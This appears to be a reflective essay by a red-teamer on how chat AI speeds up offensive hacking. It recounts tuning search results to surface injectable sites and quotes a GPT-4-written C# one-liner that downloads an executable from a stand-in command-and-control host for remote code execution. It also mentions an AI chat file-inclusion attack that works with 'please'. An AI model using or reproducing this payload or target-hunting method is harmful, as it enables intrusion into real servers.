Morbid Curiosity in the Weaponized AI Era

by Erica Burgess

We're hackers.  We're used to making the impossible look easy, and most times, the approach is strange or unexpected.

Before the popular chat AI era, I would use AI in many ways: I loved AI-based OCR libraries for bypassing CAPTCHAs.  I loved manipulating search engine relevance weights to help me quickly find targets that I could XSS or command inject.  It worked great.  Technically speaking, it wasn't a vulnerability, because the search engine AI was doing exactly what it was supposed to, since I (as a red-teamer) found vulnerable targets very relevant!

Every time I found a new injection, I would reinforce the relevance of the URL it returned, until slowly but surely, only vulnerable sites would bubble up to the top of my search results.  Each of them was hackable in a similar way to the first.  Since the AI system was a proprietary black box, to investigate further, I had to ask the company's support team questions about their algorithm to help confirm the behavior was working the way I thought (and not just a lucky coincidence).  It was.

This technique barely feels like hacking when it's not even breaking terms of service (except if you count the bots I wrote for it, and the anti-bot bypasses... I wanted to automate!).  However, that is the kind of future we're in.  AI is now both the new attack surface and an attack strategy.  We now live in an odd world where sometimes your chat AI localfile-inclusion attack only works if you write "please" before the payload (true story!).

When I was a software developer, I was never into hype.  When Docker came out, it was just another virtualization.  When new web frameworks came out, it was just more web frameworks.  Tech fads come and go.  This, finally, is a technology that deserves its hype: democratized AI (specifically, chat AI).  Ninety percent of the problems that programmers solve have already been solved before, and they reuse solutions from the Internet most of the day.

Using an AI makes them five to ten times faster than developers who only use search engines - which is great for them, but any powerful tool has a dark side, too.  We as offensive security researchers can no longer gate-keep the script kiddies with slightly-incorrect POCs with intentional errors on Exploit-DB.  They will just throw it into a Generative Pre-trained Transformer (GPT) tool and it will correct the errors for them.  So someone who can't fix a syntax error on their own is now capable of running sophisticated attacks... yikes.

It sounds crazy, but consider this: it goes way beyond just known CVEs and published attacks.  How about having the AI write a zero-day?  I've done it.

Below is an example.

I was hacking a web application form with what looked like some kind of C# template injection, judging from the compilation errors.  It was a crucial part of my initial foothold into the server.  However, in order to effectively scratch my remote code execution itch, I had to provide the text field with a one-liner that:

• Did not contain more than one semicolon (no concatenating commands).
• Did not contain curly braces (since the template system used it as a delimiter).
• Must ultimately return an object (since the compilation error implies this).

Essentially, I needed a native C# widget chain, similar to how some Java Remote Code Executions (RCE) work.

I've done something like this previously, but it took a few days with the C# programming language manual, looking for anything dangerous I could do (file read/write, downloads, processes, etc.).  At the time, I thought if I ever had to do it again, I would write a tool that tries every combination of relevant C# functions that ultimately return an object.

However, I'm glad I never wrote that tool, because in 2023 Natural Language Processors (NLP) and Large Language Models (LLM) do this sort of thing perfectly.  GPT-4 achieved this object chain task (prompted to write something that will download and store a file) in just four seconds, using two prompts.

Its response:

await new HttpClient().GetByteArrayAsync("http://commandandcontrol.com/bad.exe").ContinueWith(task => File.WriteAllBytes("foothold.exe",task.Result));

The response from GPT-3.5 was a similar answer, and took closer to 20 to 30 prompts, but either way that's a matter of seconds or minutes instead of days.  Imagine how powerful this makes both attackers and defenders.  I was hooked.  I started thinking of all the personal projects that I could do in minutes instead of days, seconds instead of hours.

Leonardo da Vinci and Albert Einstein may have had the same 24 hours as everyone else, but they didn't have AI to get through the tedious parts of innovation!  AI can regurgitate, synthesize, generate abstractions, and do all the slow and annoying parts of hacking or coding.  We get the most creative parts of the problem left over for us humans (at least until the Singularity, right Kurzweil?).

Recently, I have made tools that wouldn't exist without AI.  Why?  Because:

• They use AI to do a task that isn't possible with traditional programming.
• Because an AI made it possible for me to write them faster in my free time.

One of these tools does sentiment analysis on Wikipedia edits for identifying unregistered IPs (ones that are not listed in WHOIS).  It was intriguing.  I'm grateful to live in 2023 to see what's next.

Beyond just completing tasks, an AI provides a new perspective on the world, and not to get too sentimental, but many of the subtle glitches that it can "feel out" remind me of hacker intuition.  (Think of the AI who got a high score on a game because it found a glitchy point overflow when hopping repeatedly between two positions - imagine combining that goal-oriented behavior guided by the goal-oriented behavior of a hacker obsessed with completing an exploit!  Again, the combination is powerful - I feel both scared and excited.)

Recently I taught a class on prompt engineering, and someone stopped me in the hall to ask "Does it remove the job satisfaction?  Isn't it solving all of your problems for you?"  I said, "No, why would I want to solve tedious problems that have already been solved?  I love my work more than ever now that I can focus mostly on the fun parts instead of the boring parts!"

It all gives me a sense of morbid curiosity, but morbid optimism too.

So, to a future with all of the interesting parts left... cheers!